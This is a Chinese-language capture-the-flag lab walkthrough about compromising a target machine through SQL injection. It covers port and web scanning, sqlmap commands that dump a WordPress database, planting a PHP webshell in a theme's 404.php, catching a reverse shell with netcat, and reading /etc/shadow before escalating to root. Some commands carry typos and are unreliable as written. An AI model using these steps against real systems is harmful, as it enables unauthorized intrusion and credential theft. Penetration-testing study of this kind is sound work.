SQL注入漏洞介绍
SQL注入攻击指用用户构建特殊的输入作为参数传入Web应用程序,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。
任何一个用户可以输入的位置都可能是注入点。比如url中,以及http报文中,POST传递的参数;
实验环境
攻击机: 192.168.1.1 11
靶场机器: 192.168.1.104
接下来该做什么呢?
目的:挖掘漏洞,root主机,获取flag;
信息探测
扫描主机开放的全部端口
nmap -T4 -p- 靶场IP地址
快速扫描主机全部信息
– nmap -T4 -A -v 靶场IP地址
探测敏感信息
nikto -host http://靶场IP地址:端口
8080端口。
dirb http:/ /靶场IP地址:端口
漏洞扫描器Owasp-zap
功能强大,专注于web安全的漏洞扫描器。
在kali中选择zap
打开之后出现:对于8080端口进行探测
会在zap中先进行爬虫,然后再扫描,没有发现高危漏洞,但是,具有一个login.php登陆界面,可使用sql注入
漏洞利用
针对web进行漏洞扫描
对扫描的结果进行分析。注意:如果具有SQL注入漏洞,可以直接利用。毕竟SQL注入是高危漏洞,可以直接获取服务器权限。但是扫描结果也不一定正确。
使用sqlmap利用SQL注入漏洞
-- sqlmap -r request.raw --level 5 --risk 3 --dbs --dbms mysql --batch #-r request.raw抓取到的http包头 -level 5 表示使用最大水平的监测方式 -risk 3 高风险发送数据报 -dbs监测数据库名 -dbms mysql指定dbms为mysql --batch表示自动补充yes,no
sq|map -r request.raw -level 5 -risk3 -D "数据库名" -tables 查看对应数据库中的数据表 --batch
sqlmap - -r request.raw -level 5-risk 3 -D
"数据库名" -T "表名" - columns 查看对应字段 --batch
sqlmap -r request.raw -level 5 risk3 -D "数据库名" -T "表名" -C "列名" -dump --batch
步骤:
首先使用burpsuite,需要先在浏览器中使用断点
在点击到intercepte之中,在浏览器界面尝试登陆,会被抓取包。
将数据报copy出来
将该数据报写入到 request.raw中
再使用sqlmap进行探测。
对于wordpress8080进行探测
再探测对应的字段
探索字段的值
登陆界面一般默认为wp-login.php
使用前面的wordpress8080中的密码,成功登陆为:
登陆系统后台后上传webshell获取控制权
wordpress后台寻找上传点
–主题的404.php可以上传webshell
– webshell获取 /usr/share/webshells/php/
编辑webshell修改扫描地址和端口。
再在系统后端进入到404.php中
修改为自己的webshell。
执行shell,获取反弹shell。
http://靶场lP地址:端口号/目录/wp-content/themes/主题名/404-.php
启动监听-- nc -nlvp port启动终端
– python -c "import pty;pty.spawn(‘/bin/bash’)”
root权限
–使用cat /etc/shadow 和cat /etc/passwd查看敏感文件
–使用su - 提升root权限,使用空密码或者前面获取到的密码进行尝试
总结
只要是用户可以输入的位置都是有可能存在注入点的;漏洞扫描器的扫描结果也不一定正确